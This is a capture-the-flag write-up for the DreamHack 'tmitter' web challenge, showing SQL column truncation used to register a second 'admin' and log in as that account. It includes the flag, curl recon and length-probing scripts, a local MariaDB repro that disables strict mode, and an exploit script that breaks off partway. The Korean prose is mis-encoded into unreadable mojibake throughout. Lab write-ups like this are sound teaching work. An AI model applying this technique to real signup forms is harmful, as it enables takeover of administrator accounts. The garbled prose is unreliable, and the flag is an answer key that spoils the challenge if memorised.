๋ฌธ์ : DreamHack โ [wargame.kr] tmitter
๋ถ๋ฅ: Web (SQL ์ปฌ๋ผ ํธ๋ ์ผ์ด์ )
๋์ด๋: ๐ฅ Silver 4
FLAG:
DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | [wargame.kr] tmitter |
| ๋์ด๋ | ๐ฅ Silver 4 |
| ๋ถ๋ฅ | Web |
| ์ ๊ณต ํ์ผ | ์์ (๋ธ๋๋ฐ์ค) |
| ์คํ | PHP + MySQL/MariaDB |
| ๊ตฌ์ฑ | ๋ก๊ทธ์ธ(tmitter.php) ยท ํ์๊ฐ์
(join.php) ยท ํ์๋ผ์ธ |
| ํต์ฌ ์ทจ์ฝ์ | SQL ์ปฌ๋ผ ํธ๋ ์ผ์ด์ + PADSPACE(trailing space) ๋น๊ต |
wargame.kr ์ ๋ช
์ tmitter(๊ฐ์ง ํธ์ํฐ) ์ด์ ๋ฌธ์ ๋ค. ์์ค๋ ์ ์ฃผ๊ณ ์๋ฒ๋ง ์ค๋ค. admin ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด ํ๋๊ทธ๋ฅผ ์ค๋ค๋ ๊ฑด ๊ธ๋ฐฉ ๋๋ฌ๋๋๋ฐ, ์ ์ admin ์ ์ด๋ฏธ ์กด์ฌํด์ ๊ทธ๋๋ก๋ ๊ฐ์
๋ ๋ก๊ทธ์ธ๋ ์ ๋๋ค.
์ด ๋ฌธ์ ์ ์ฌ๋ฏธ๋ "์ด๋ฏธ ์๋ ๊ณ์ ์, ๋น๋ฐ๋ฒํธ๋ ๋ชจ๋ฅธ ์ฑ, ์ด๋ป๊ฒ ๋ด ๊ฒ์ผ๋ก ๋ง๋๋๋" ๋ค. ๋ต์ DB๊ฐ ๋ฌธ์์ด์ ์ ์ฅยท๋น๊ตํ๋ ๋ฐฉ์์ ํ์ ์๋ค. ์ ์ํ๋ฉด ํ๋ฒํ ๋ก๊ทธ์ธ ํ๋ฉด์ด ๋ฌ๋ค.

๐ฆ ๋ฐฐ๊ฒฝ โ tmitter ์ ์ธ์ฆ ํ๋ฆ
tmitter ๋ ์ธ ์กฐ๊ฐ์ผ๋ก ๋์๊ฐ๋ค.
join.phpโ ํ์๊ฐ์ . ๊ฐ์id๊ฐ ์ด๋ฏธ ์์ผ๋ฉด ๋ง๊ณ , ์์ผ๋ฉดmemberํ ์ด๋ธ์INSERT.tmitter.phpโ ๋ก๊ทธ์ธ.id/ps๊ฐ ๋ง๋ ํ์ ์ฐพ์ ์ธ์ ์ ์ค๋ค.- ํ์๋ผ์ธ โ ๋ก๊ทธ์ธํ ๊ณ์ ์ผ๋ก ํธ์์ ๋ณธ๋ค.
admin์ผ๋ก ๋ค์ด๊ฐ๋ฉด ์ฒซ ํธ์์ ํ๋๊ทธ๊ฐ ๋ฐํ ์๋ค.
์ฆ ๋ชฉํ๋ ๋ช
ํํ๋ค. admin ์ธ์
์ ์ป์ด๋ผ. ์ ๊ณต๋ฒ์ ๋ ๊ฐ๋์ธ๋ฐ ๋ ๋ค ๋งํ ์๋ค.
admin์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ธ๋ค โ ๋ชจ๋ฅธ๋ค(๋ฌด์ฐจ๋ณ ๋์ ์ ๋นํ์ค์ ).admin์ผ๋ก ์๋ก ๊ฐ์ ํ๋ค โ "์ด๋ฏธ ์กด์ฌ"๋ก ๊ฑฐ๋ถ๋๋ค.
๊ทธ๋์ ์ฐํ๋ "๊ฐ์
์ ๋๋๋ฐ ๋ก๊ทธ์ธ์ admin ์ผ๋ก ์กํ๋" ์ 3์ ๊ณ์ ์ ๋ง๋๋ ๊ฒ์ด๋ค. ๊ทธ ์ด์ ๊ฐ MySQL ๋ฌธ์์ด ์ฒ๋ฆฌ๋ค.
๐ฌ ์ ์ฐฐ โ "admin ์ผ๋ก ๊ฐ์ ํ๋ผ"
ํ์๊ฐ์
ํ์ด์ง(join.php)์ HTML ์์ค๋ฅผ ๋ณด๋ฉด ์ฃผ์์ ๋๋๊ณ ํํธ๊ฐ ์๋ค: you need join with admin. ํผ์ id(4์ ์ด์)ยทps(7์ ์ด์)๋ฅผ ๋ฐ๊ณ , ํด๋ผ์ด์ธํธ ๊ฒ์ฆ์ maxlength="32" ๋ค โ ์ด 32 ๋ฅผ ๊ธฐ์ตํด ๋์.

์ด์ ์๋ฒ๊ฐ ์ค์ ๋ก ์ด๋ป๊ฒ ๋ฐ์ํ๋์ง ์ง์ ์ฐ๋ฌ๋ดค๋ค. ์ธ ๊ฐ์ง๋ฅผ ์์๋๋ก ํ์ธํ๋ค.
- ํํธ๊ฐ ์ ๋ง ์ฃผ์์ ์๋์ง (
curl๋ก ์๋ฌธ ํ์ธ). admin์ผ๋ก ๊ฐ์ ํ๋ฉด ๋งํ๋์ง.- ์ผ๋ฐ ์์ด๋๋ ์ ์ ๊ฐ์ ๋๋์ง.
์ ์ฐฐ์ ์ด ์คํฌ๋ฆฝํธ ์ ๋ฌธ๊ณผ ์คํ ๋ช ๋ น์ ์ด๋ ๋ค.
์ด ๊ธ์ ๋ช ๋ น์ ๋ชจ๋
analysis/์์ ์คํํ๋ค.
# analysis/cap_probe.sh
#!/usr/bin/env bash
# ์ ์ฐฐ โ ํํธ์ ์ค๋ณต์ฒดํฌ ๋์ ํ์ธ
BASE="http://host3.dreamhack.games:16338"
echo "== join.php ํํธ (HTML ์ฃผ์) =="
curl -s -m 20 "$BASE/join.php" | grep -oE '<!-- hint.*-->'
echo
echo "== 'admin' ์ผ๋ก ๊ฐ์
์๋ โ PHP ์ค๋ณต์ฒดํฌ์ ๋งํ =="
curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode 'id=admin' --data-urlencode 'ps=password123' | grep -oiE 'admin</b> is exist!!|is exist' | head -1
echo
echo "== ์ผ๋ฐ ๊ณ์ (zztest99) ๊ฐ์
โ ์ฑ๊ณต(๋ฉ์ธ์ผ๋ก redirect) =="
curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode 'id=zztest99' --data-urlencode 'ps=password123' | grep -oE "window.location='./';" | head -1
echo
echo "โ ์ค๋ณต์ฒดํฌ๋ '์ ํํ ์ผ์น'ํ๋ id ๋ง ๋ง๋๋ค. ์ปฌ๋ผ ๊ธธ์ด ํธ๋ ์ผ์ด์
์ผ๋ก ์ฐํ ๊ฐ๋ฅ."bash cap_probe.sh
์ง์ ์ฐ๋ฌ๋ณธ ๋ช ๋ น์ ์ด๋ ๋ค.
BASE="http://host3.dreamhack.games:PORT"
# ํํธ ์ฃผ์ ํ์ธ
curl -s "$BASE/join.php" | grep -oE '<!-- hint.*-->'
# <!-- hint : you need join with admin -->
# admin ์ผ๋ก ๊ฐ์
โ ๊ฑฐ๋ถ
curl -s -X POST "$BASE/join.php" --data-urlencode 'id=admin' --data-urlencode 'ps=password123' | grep -o 'is exist'
# is exist
# ์ผ๋ฐ ์์ด๋ โ ๊ฐ์
์ฑ๊ณต(๋ฉ์ธ์ผ๋ก redirect)
curl -s -X POST "$BASE/join.php" --data-urlencode 'id=zztest99' --data-urlencode 'ps=password123' | grep -o "window.location='./';"
# window.location='./';๊ฒฐ๊ณผ๊ฐ ๊ฐ๋ ธ๋ค. admin ์ "admin is exist!!" ๋ก ๊ฑฐ๋ถ๋๊ณ , zztest99 ๊ฐ์ ํ๋ฒํ ์์ด๋๋ ๋ฉ์ธ์ผ๋ก ๋ฆฌ๋ค์ด๋ ํธ๋๋ฉฐ ๊ฐ์
๋๋ค. ์๋ฒ๊ฐ ๊ฐ์
์ SELECT ... WHERE id='$id' ๋ก ์ค๋ณต์ ํ์ธํ๋ ๊ฒ์ด๋ค.
์ฌ๊ธฐ์ ์ค์ํ ๊ด์ฐฐ. ์ด ์ค๋ณต ์ฒดํฌ๋ ์
๋ ฅํ ๋ฌธ์์ด๊ณผ "์ ํํ ๊ฐ์" id ๋ง ๋ง๋๋ค. ๊ทธ๋ ๋ค๋ฉด DB์๋ admin ์ผ๋ก ์ ์ฅ๋์ง๋ง, ์ค๋ณต ์ฒดํฌ ์์ ์๋ admin ๊ณผ ๋ฌ๋ผ ๋ณด์ด๋ ๋ฌธ์์ด์ ๋ฃ์ ์ ์๋ค๋ฉด? ๊ทธ๊ฒ ์ด ๋ฌธ์ ์ ๊ธ์๋ค.
๐งฑ ๋ฐฐ๊ฒฝ โ MySQL ์ด ๋ฌธ์์ด์ ์ ์ฅยท๋น๊ตํ๋ ๋ฐฉ์
์ฐํ๋ฅผ ์ดํดํ๋ ค๋ฉด MySQL(์ฌ๊ธฐ์ MariaDB) ์ ๋ ๊ฐ์ง ์ฑ์ง์ ์์์ผ ํ๋ค. ๋ ๋ค "์ง๊ด๊ณผ ์ด๊ธ๋์" ์ทจ์ฝ์ ์ด ๋๋ค.
โ PADSPACE โ ๋ ๊ณต๋ฐฑ์ ๋ฌด์ํ๋ ๋น๊ต
MySQL ์ CHAR/VARCHAR ๋ ๊ธฐ๋ณธ ์ฝ๋ ์ด์
(utf8mb4_general_ci ๋ฑ, ์ด๋ฆ ๋์ด _ci)์ด PADSPACE ๋ค. = ๋น๊ต๋ฅผ ํ ๋ ์งง์ ์ชฝ์ ๊ณต๋ฐฑ์ผ๋ก ํจ๋ฉํด ๊ธธ์ด๋ฅผ ๋ง์ถ ๋ค ๋น๊ตํ๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ๋์ ๋ถ์ ๊ณต๋ฐฑ์ ๋น๊ต์์ ๋ฌด์๋๋ค.

๊ทธ๋์ ์ด๋ฐ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.
'admin' = 'admin 'โ ์ฐธ(1). ๋ ๊ณต๋ฐฑ๋ง ๋ค๋ฅด๋ ๊ฐ๋ค๊ณ ๋ณธ๋ค.'admin' = 'admin 1'โ ๊ฑฐ์ง(0). ๋ง์ง๋ง1์ ๊ณต๋ฐฑ์ด ์๋๋ผ ์ง์ง๋ก ๋ค๋ฅด๋ค.
์ด ๋น๋์นญ์ด ํต์ฌ์ด๋ค. admin ๋ค์ ๊ณต๋ฐฑ๋ค + ์ง์ง ๊ธ์ ํ๋(1) ๋ฅผ ๋ถ์ด๋ฉด, ์ค๋ณต ์ฒดํฌ(= 'admin 1')๋ ํต๊ณผํ์ง๋ง, ๋ง์ฝ ๊ทธ 1 ์ ์ด๋ป๊ฒ๋ ์์จ ์ ์๋ค๋ฉด ์ ์ฅ๋ ๊ฐ์ admin(+๊ณต๋ฐฑ)์ด ๋์ด = 'admin' ์ด ์ฐธ์ด ๋๋ค.
โก ์ปฌ๋ผ ํธ๋ ์ผ์ด์ โ ์ด๊ณผ๋ถ์ ์กฐ์ฉํ ์๋ผ ์ ์ฅ
๊ทธ 1 ์ ์์ ์ฃผ๋ ๊ฒ ๋ ๋ฒ์งธ ์ฑ์ง์ด๋ค. id ์ปฌ๋ผ์ด varchar(N) ์ด๋ฉด, ๊ทธ๋ณด๋ค ๊ธด ๋ฌธ์์ด์ INSERT ํ ๋ ๋น์๊ฒฉ(non-strict) ๋ชจ๋์์๋ ์๋ฌ ์์ด ๋ค๋ฅผ ์๋ผ ์ ์ฅํ๋ค. ์์ PHP/MySQL ์คํ์ ๊ธฐ๋ณธ๊ฐ์ด ์ด ๋น์๊ฒฉ ๋ชจ๋์๋ค.
์ฆ admin + ๊ณต๋ฐฑ ์ฌ๋ฌ ๊ฐ + 1 ์, ์ปฌ๋ผ ๊ธธ์ด๋ณด๋ค ๊ธธ๊ฒ ๋ง๋ค์ด ๋ฃ์ผ๋ฉด:
- ์ค๋ณต ์ฒดํฌ: ์ ์ฒด ๋ฌธ์์ด(
admin ... 1)๋ก ์กฐํ โ ๋์1๋๋ฌธ์ ๊ธฐ์กดadmin๊ณผ ๋ถ์ผ์น โ ํต๊ณผ. - INSERT: ์ปฌ๋ผ ๊ธธ์ด๋ก ์๋ฆผ โ
1์ด ์๋ ค ๋๊ฐ๊ณadmin+ ๊ณต๋ฐฑ ๋ง ์ ์ฅ. - ๊ฒฐ๊ณผ: ์ ์ฅ๋ ๊ฐ์ PADSPACE ๋น๊ต์์
admin๊ณผ ๊ฐ์, "๋ ํ๋์ admin" ์ด ๋๋ค.
โข ์ด ๊ณต๊ฒฉ์ ๊ณ๋ณด โ SQL Column Truncation
์ด๊ฑด tmitter ๋ง์ ํธ๋ฆญ์ด ์๋๋ผ SQL Column Truncation ์ด๋ผ๋ ์๋ ค์ง ์ทจ์ฝ์ ํด๋์ค๋ค. "ํ์๊ฐ์ ์์ ๊ด๋ฆฌ์ ๊ณ์ ๊ณผ ๊ฐ์ ์ด๋ฆ์ ๋ง๋ค์ด ๊ถํ์ ๊ฐ๋ก์ฑ๋" ํจํด์ผ๋ก, ๊ณผ๊ฑฐ ์ค์ ์น์ฑ(๊ตฌ๋ฒ์ ์๋ํ๋ ์ค๋ฅ ๊ฒ์ํยทPHP ํ์์ ์ฌ์ดํธ)์์๋ ๊ฐ์ ๋ฐฉ์์ผ๋ก ๊ด๋ฆฌ์ ๊ณ์ ์ด ํ์ทจ๋๋ค. ๋ฟ๋ฆฌ๋ "์ ํ๋ฆฌ์ผ์ด์ ์ด ๊ฒ์ฌํ ๋ฌธ์์ด"๊ณผ "DB์ ์ค์ ๋ก ์ ์ฅยท๋น๊ต๋๋ ๋ฌธ์์ด"์ด ๋ฌ๋ผ์ง๋ ๋ฐ ์๋ค.
๋ฌธ์์ด ํ์ ๋ณ๋ก ๋ ๊ณต๋ฐฑ ์ฒ๋ฆฌ๊ฐ ์กฐ๊ธ์ฉ ๋ค๋ฅธ ๊ฒ๋ ์์๋ ๋งํ๋ค.
CHAR(N)โ ์ ์ฅ ์ ํญ์ ๊ณต๋ฐฑ์ผ๋ก ์ค๋ฅธ์ชฝ์ ์ฑ์ฐ๊ณ , ์ฝ์ ๋ ๋ ๊ณต๋ฐฑ์ ๋ผ๋ฉฐ, ๋น๊ต๋ PADSPACE.VARCHAR(N)ยทTEXTโ ์ ์ฅ์ ๋ฃ์ ๊ทธ๋๋ก์ง๋ง, ๊ธฐ๋ณธ ์ฝ๋ ์ด์ (*_ci,*_general_ci)์ด PADSPACE ๋ผ=๋น๊ต์์๋ ๋ ๊ณต๋ฐฑ์ ๋ฌด์ํ๋ค.- ๋จ
LIKE๋ ์์ธ โ'admin' LIKE 'admin '๋ ๊ฑฐ์ง์ด๋ค.LIKE๋ ๊ณต๋ฐฑ์ ์ ์๋ฏธํ๊ฒ ๋ณธ๋ค. ๊ทธ๋์ ๋ก๊ทธ์ธ ์ฟผ๋ฆฌ๊ฐ=๊ฐ ์๋๋ผLIKE์๋ค๋ฉด ์ด ์ฐํ๋ ํตํ์ง ์์์ ๊ฒ์ด๋ค.
์ฆ ์ด ๋ฌธ์ ๋ varchar(32) + ๋น์๊ฒฉ ๋ชจ๋ + = ๋น๊ต๋ผ๋ ์กฐํฉ์ด ๋ง์๋จ์ด์ ธ ์ฑ๋ฆฝํ๋ค. ์ธ ์กฐ๊ฑด ์ค ํ๋๋ง ์ด๊ธ๋๋ ๋งํ๋ค๋ ์ ์ ๊ธฐ์ตํด ๋๋ฉด ๋ฐฉ์ด์๋ ๊ทธ๋๋ก ์ฐ์ธ๋ค.
๐ ์ฝ์ง ๊ธฐ๋ก
โถ๐ ์ฝ์ง 1 โ ๊ณต๋ฐฑ์ ๋ช ๊ฐ ๋ฃ์ด์ผ ํ๋ (์ปฌ๋ผ ๊ธธ์ด๋ฅผ ๋ชจ๋ฆ)
์์ค๊ฐ ์์ผ๋ id ์ปฌ๋ผ์ ์ ํํ ๊ธธ์ด N ์ ์ ์ ์์๋ค. ํ์ด๋ก๋๊ฐ ์ฑ๋ฆฝํ๋ ค๋ฉด ๋ ์กฐ๊ฑด์ ๋์์ ๋ง์กฑํด์ผ ํ๋ค.
- ๊ฐ์
๋ฌธ์์ด์ด ์ปฌ๋ผ ๊ธธ์ด๋ณด๋ค ๊ธธ์ด์ผ INSERT ๋ ์๋ฆฐ๋ค. ์ ๊ทธ๋ฌ๋ฉด
admin...1์ด ๊ทธ๋๋ก ์ ์ฅ๋ผadmin๊ณผ ๋ค๋ฅธ ๊ณ์ ์ด ๋์ด ๋ฒ๋ฆฐ๋ค. - ์๋ฆฐ ๊ฒฐ๊ณผ๊ฐ
admin+ ๊ณต๋ฐฑ๋ง ๋จ์์ผ ํ๋ค.admin๊ณผ ๋ง์ง๋ง1์ฌ์ด์ ๋ค๋ฅธ ๊ธ์๊ฐ ๋ผ๋ฉด ์๋ฆฐ ๋ค์๋= 'admin'์ด ์ ๋๋ค.
๊ทธ๋์ admin ๊ณผ 1 ์ฌ์ด๋ฅผ ์ ๋ถ ๊ณต๋ฐฑ์ผ๋ก ์ฑ์ ๋ค. ์ด๋ฌ๋ฉด ์ปฌ๋ผ ๊ธธ์ด๊ฐ 5 ์ด์์ด๊ณ ๋ด ๋ฌธ์์ด๋ณด๋ค ์งง๊ธฐ๋ง ํ๋ฉด, ์ด๋์ ์๋ฆฌ๋ ๋จ๋ ๊ฑด admin + ๊ณต๋ฐฑ๋ฟ์ด๋ค. ๊ธธ์ด๋ฅผ ๋ชฐ๋ผ๋ ๋๋ ์์ ํ ํ์ด๋ก๋๋ค. ์ฒ์์ ๋๋ํ๊ฒ ๊ณต๋ฐฑ 250๊ฐ๋ฅผ ์ผ๊ณ (์ด 256์), ๋์ค์ ์๋์ฒ๋ผ ์ ํํ ์ปฌ๋ผ ๊ธธ์ด๋ฅผ ํ๋ก๋นํด ํ์ธํ๋ค.
โถ๐ ์ฝ์ง 2 โ ๋ง์ง๋ง '1' ์ ์ ๊ผญ ํ์ํ๊ฐ
์ฒ์์ "๊ทธ๋ฅ admin + ๊ณต๋ฐฑ๋ง ์๋ฉ ๋ฃ์ผ๋ฉด ๋์ง ์๋?" ์ถ์๋ค. ๊ทธ๋ฐ๋ฐ ๊ทธ๋ฌ๋ฉด ์ค๋ณต ์ฒดํฌ์์ ๊ฑธ๋ฆฐ๋ค. 'admin ' = 'admin' ์ด PADSPACE ๋๋ฌธ์ ์ฐธ์ด๋ผ, ์ค๋ณต ์ฒดํฌ WHERE id='admin ' ๊ฐ ๊ธฐ์กด admin ํ์ ์ฐพ์๋ด "already exists" ๋ฅผ ๋ฑ๋๋ค.
๊ทธ๋์ ์ค๋ณต ์ฒดํฌ๋ง์ ๋ค๋ฅธ ๋ฌธ์์ด๋ก ํต๊ณผํด์ผ ํ๋ค. ๋์ ๊ณต๋ฐฑ์ด ์๋ ๊ธ์(1)๋ฅผ ํ๋ ๋ถ์ด๋ฉด ๊ทธ ์๊ฐ์ admin ๊ณผ ๋ฌ๋ผ(๋ถ์ผ์น) ์ฒดํฌ๋ฅผ ํต๊ณผํ๊ณ , ์ ์ฅ๋ ๋ ๊ทธ 1 ์ด ์๋ ค ๋ค์ admin ์ด ๋๋ค. 1 ์ "์ฒดํฌ๋ฅผ ์์ด๊ณ , ์ ์ฅ๋๋ฉด ์ฌ๋ผ์ง๋" ๋ฏธ๋ผ์ธ ์
์ด๋ค.
โถ๐ ์ฝ์ง 3 โ ๋ก์ปฌ ์ฌํ ๋ ์๋ฆผ์ด ์ ๋๊ณ ์๋ฌ๊ฐ ๋ฌ๋ค (sql_mode)
๋ก์ปฌ MariaDB(11.8)๋ก ํธ๋ ์ผ์ด์
์ ์ฌํํ๋ ค๋๋ฐ, ์ฒ์์ ์ค๋ฒ๋กฑ ๋ฌธ์์ด์ INSERT ํ๋ ์๋ ค์ ์ ์ฅ๋๋ ๊ฒ ์๋๋ผ Data too long for column 'id' ์๋ฌ๋ก ๊ฑฐ๋ถ๋๋ค. ์์ฆ MariaDB ๋ sql_mode ๊ธฐ๋ณธ๊ฐ์ STRICT_TRANS_TABLES ๊ฐ ๋ค์ด ์์ด์, ๊ธธ์ด ์ด๊ณผ๋ฅผ ์กฐ์ฉํ ์๋ฅด์ง ์๊ณ ์์ ๋ง๋๋ค.
๋ฌธ์ ์๋ฒ(๊ตฌํ PHP/MySQL ์คํ)์ ๋น์๊ฒฉ ๋์์ ์ฌํํ๋ ค๋ฉด ์ธ์
์์ SET sql_mode=''; ๋ก strict ๋ฅผ ๊บผ์ผ ํ๋ค. ์ด๊ฑธ ๋์ ๊ทธ์ ์์ผ varchar(20) ์ด๊ณผ๋ถ์ด ์๋ ค admin + ๊ณต๋ฐฑ์ผ๋ก ์ ์ฅ๋๋ค. ์ญ์ค์ ์ผ๋ก ์ด ์ฝ์ง์ด ๊ณง ๋ฐฉ์ด์ฑ
์ ์๋ ค์ค ์
์ด๋ค โ strict ๋ชจ๋๋ง ์ผ์ ธ ์์์ด๋ ์ด ๊ณต๊ฒฉ์ ์ฑ๋ฆฝํ์ง ์๋๋ค.
๐ฃ ํต์ฌ โ 3๋จ๊ณ ํธ๋ ์ผ์ด์ ๊ณต๊ฒฉ
์ ๋ฆฌํ๋ฉด ๊ณต๊ฒฉ์ ์ธ ๋จ๊ณ๋ค.

๋ง๋ก๋ง ํ๋ฉด ๋ฏธ๋ฅ์ง ์์ผ๋, ๋ก์ปฌ MariaDB ๋ก ๋๊ฐ์ด ์ฌํํด ๋ดค๋ค. ๋ฌธ์ ์ ๊ฐ์ ๊ตฌ์กฐ๋ก member(id varchar(20), ps ...) ํ
์ด๋ธ์ ๋ง๋ค๊ณ ์๋ admin ์ ๋ฃ์ ๋ค, admin + ๊ณต๋ฐฑ30 + 1 ์ ๋ฃ์ด ๋ดค๋ค.
์ฌํ์ ์ด SQL ์คํฌ๋ฆฝํธ ์ ๋ฌธ๊ณผ ์คํ ๋ช ๋ น์ด๋ค.
-- analysis/demo.sql
-- tmitter ๋ฉ์ปค๋์ฆ ๋ก์ปฌ ์ฌํ (MariaDB)
DROP DATABASE IF EXISTS tm; CREATE DATABASE tm; USE tm;
-- (1) MySQL/MariaDB ๋ CHAR/VARCHAR ๋น๊ต์์ ๋ ๊ณต๋ฐฑ์ ๋ฌด์ํ๋ค (PADSPACE collation)
SELECT 'admin' = 'admin ' AS "admin = 'admin '",
'admin' = 'admin 1' AS "admin = 'admin 1'";
-- ๋ฌธ์ ์ ๋์ผ: id ๋ varchar(?) (์ฌ๊ธฐ์ 20์ผ๋ก ๊ฐ์ ), ์๋ admin ์กด์ฌ
CREATE TABLE member (id VARCHAR(20), ps VARCHAR(64));
INSERT INTO member VALUES ('admin', 'REAL_ADMIN_PW');
-- (2) ๊ฐ์
์ค๋ณต์ฒดํฌ โ ์ฐ๋ฆฌ๊ฐ ๋ฃ์ ํฌ๋ํํธ id (admin + ๊ณต๋ฐฑ30 + '1') ๋ก ์กฐํ
SET @craft = CONCAT('admin', REPEAT(' ', 30), '1');
SELECT LENGTH(@craft) AS "ํฌ๋ํํธ ๊ธธ์ด",
(SELECT COUNT(*) FROM member WHERE id=@craft) AS "์ค๋ณต์ฒดํฌ count (0์ด๋ฉด ํต๊ณผ)";
-- (3) INSERT โ ๋น์๊ฒฉ(non-strict) ๋ชจ๋์์๋ varchar(20) ์ด๊ณผ๋ถ์ด ์กฐ์ฉํ ์๋ฆฐ๋ค
SET sql_mode=''; -- ์์ PHP/MySQL ๊ธฐ๋ณธ๊ฐ(๋น์๊ฒฉ) ์ฌํ
INSERT INTO member VALUES (@craft, 'pwn12345');
SELECT id, HEX(id) AS "์ ์ฅ๋ id (hex)", LENGTH(id) AS len, ps
FROM member WHERE ps='pwn12345';
-- (4) ๋ก๊ทธ์ธ โ admin ์ผ๋ก ์กฐํํ๋ฉด ํฌ๋ํํธํ ํ์ด ๋งค์นญ๋๋ค
SELECT id, ps, '<= admin ์ผ๋ก ๋ก๊ทธ์ธ๋๋ ํ' AS note
FROM member WHERE id='admin' AND ps='pwn12345';mysql -t < demo.sql
์บก์ณ๊ฐ ์ธ ๋จ๊ณ๋ฅผ ๊ทธ๋๋ก ๋ณด์ฌ์ค๋ค.
'admin' = 'admin 'โ 1,'admin' = 'admin 1'โ 0. PADSPACE ๋น๊ต๊ฐ ์ค์ ๋ก ๊ทธ๋ ๊ฒ ๋์ํ๋ค.- ํฌ๋ํํธ ๋ฌธ์์ด ๊ธธ์ด๋ 36, ์ค๋ณต ์ฒดํฌ
count๋ 0 โ ๊ฐ์ ํต๊ณผ. sql_mode๋ฅผ ๋น์๊ฒฉ('')์ผ๋ก ๋๊ณ INSERT ํ๋,varchar(20)์ด๋ผ ์๋ ค์ ์ ์ฅ๋id์ HEX ๊ฐ61646D696E(=admin) +20(๊ณต๋ฐฑ) ร 15, ๊ธธ์ด 20.1์ ํ์ ๋ ์์ด ์ฌ๋ผ์ก๋ค.WHERE id='admin' AND ps='pwn12345'๋ก ์กฐํํ๋ฉด ํฌ๋ํํธํ ํ์ดadmin์ผ๋ก ์กํ๋ค.
๋ฉ์ปค๋์ฆ์ด ์ด๋ก ์ด ์๋๋ผ ์ค์ ๋ก ์ฑ๋ฆฝํจ์ ํ์ธํ์ผ๋, ์ด์ ๋ผ์ด๋ธ ์๋ฒ์ ์ ์ฉํ๋ค.
๐ฏ ์ต์คํ๋ก์
์ปฌ๋ผ ๊ธธ์ด ํ๋ก๋น โ varchar(32) ํ์
๋จผ์ ๋ผ์ด๋ธ ์๋ฒ์ ์ค์ id ์ปฌ๋ผ ๊ธธ์ด๋ฅผ ์์๋๋ค. admin + ๊ณต๋ฐฑ N + 1 ๋ก ๊ฐ์
ํ ๋ค admin ์ผ๋ก ๋ก๊ทธ์ธ์ด ๋๋์ง ๋ณด๋ฉด ๋๋ค. ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ๋ค๋ ๊ฑด ๊ณง ํธ๋ ์ผ์ด์
์ด 1 ์ ์๋ผ๋๋ค๋ ๋ป์ด๊ณ , ์ด๋ ํฌ๋ํํธ ๊ธธ์ด(N+6)๊ฐ ์ปฌ๋ผ ๊ธธ์ด๋ฅผ ๋์๋ค๋ ์ ํธ๋ค. N ์ ๋๋ ค ๊ฐ๋ฉฐ ์คํจโ์ฑ๊ณต์ด ๋ฐ๋๋ ๊ฒฝ๊ณ๋ฅผ ์ฐพ์๋ค.
ํ๋ก๋น ์คํฌ๋ฆฝํธ ์ ๋ฌธ๊ณผ ์คํ ๋ช ๋ น์ด๋ค.
# analysis/cap_probelen.sh
#!/usr/bin/env bash
# ์ค์ id ์ปฌ๋ผ ๊ธธ์ด ํ๋ก๋น โ admin + ๊ณต๋ฐฑN + '1' ๊ฐ์
ํ admin ๋ก๊ทธ์ธ ์ฑ๊ณต ์ฌ๋ถ๋ก ์ด์ง ํ๋ณ
# ์ฑ๊ณต = ํธ๋ ์ผ์ด์
์ด '1' ์ ์๋ผ๋๋ค = ํฌ๋ํํธ ๊ธธ์ด(N+6) > ์ปฌ๋ผ๊ธธ์ด
BASE="http://host3.dreamhack.games:16338"
echo "N(๊ณต๋ฐฑ) | ํฌ๋ํํธ len | admin ๋ก๊ทธ์ธ | ํด์"
echo "--------+--------------+--------------+---------------------------"
for N in 24 25 26 27 28; do
PW="zc${N}q7x"
CRAFT=$(python3 -c "print('admin' + ' '*$N + '1')")
curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode "id=$CRAFT" --data-urlencode "ps=$PW" >/dev/null
R=$(curl -s -m 20 -X POST "$BASE/tmitter.php" --data-urlencode 'id=admin' --data-urlencode "ps=$PW")
if echo "$R" | grep -qiE 'flag is|What.s happening'; then
printf " %2d | %2d | ์ฑ๊ณต โ | ์๋ฆผ ๋ฐ์ โ col <= %d\n" "$N" "$((N+6))" "$((5+N))"
else
printf " %2d | %2d | ์คํจ | '1' ์์กด โ col > %d\n" "$N" "$((N+6))" "$((5+N))"
fi
done
echo
echo "โ N=26(len32) ์คํจ / N=27(len33) ์ฑ๊ณต ๊ฒฝ๊ณ โ id ์ปฌ๋ผ = varchar(32) (ํผ maxlength=32 ์ ์ผ์น)"
echo " ์ต์ ํ์ด๋ก๋: 'admin' + ๊ณต๋ฐฑ27 + '1' (33์). ๋๋ํ ๊ณต๋ฐฑ 250๊ฐ ์จ๋ ๋์ผํ๊ฒ ํตํจ."bash cap_probelen.sh
๊ฒฝ๊ณ๊ฐ ๊น๋ํ๋ค. N=26(์ด 32์)์ ์คํจ, N=27(์ด 33์)์ ์ฑ๊ณต. ์ฆ 32์๊น์ง๋ ๊ทธ๋๋ก ์ ์ฅ(=1 ์์กด)๋๊ณ 33์๋ถํฐ ์๋ฆฐ๋ค โ id ์ปฌ๋ผ์ varchar(32). ํผ์ maxlength="32" ์ ์ ํํ ๋ง์๋จ์ด์ง๋ค. ์ต์ ํ์ด๋ก๋๋ admin + ๊ณต๋ฐฑ 27๊ฐ + 1(33์)์ด์ง๋ง, ๊ณต๋ฐฑ์ ๋๋ํ 250๊ฐ ์จ๋ ๊ฒฐ๊ณผ๋ ๊ฐ๋ค.
๊ณ์ ์์ฑ โ admin ๋ก๊ทธ์ธ
ํฌ๋ํํธํ admin ์ ๊ฐ์
์ํค๊ณ , ๊ณง๋ฐ๋ก admin ์ผ๋ก ๋ก๊ทธ์ธํ๋ค.
์ต์คํ๋ก์ ์คํฌ๋ฆฝํธ ์ ๋ฌธ๊ณผ ์คํ ๋ช ๋ น์ด๋ค.
# analysis/cap_exploit.sh
#!/usr/bin/env bash
# SQL ์ปฌ๋ผ ํธ๋ ์ผ์ด์
์ต์คํ๋ก์ โ admin + ๊ณต๋ฐฑ + 1 ๋ก ๊ฐ์
ํ admin ๋ก๊ทธ์ธ
BASE="http://host3.dreamhack.games:16338"
JAR=$(mktemp)
PAD=$(python3 -c "print('admin' + ' '*250 + '1')") # 256์
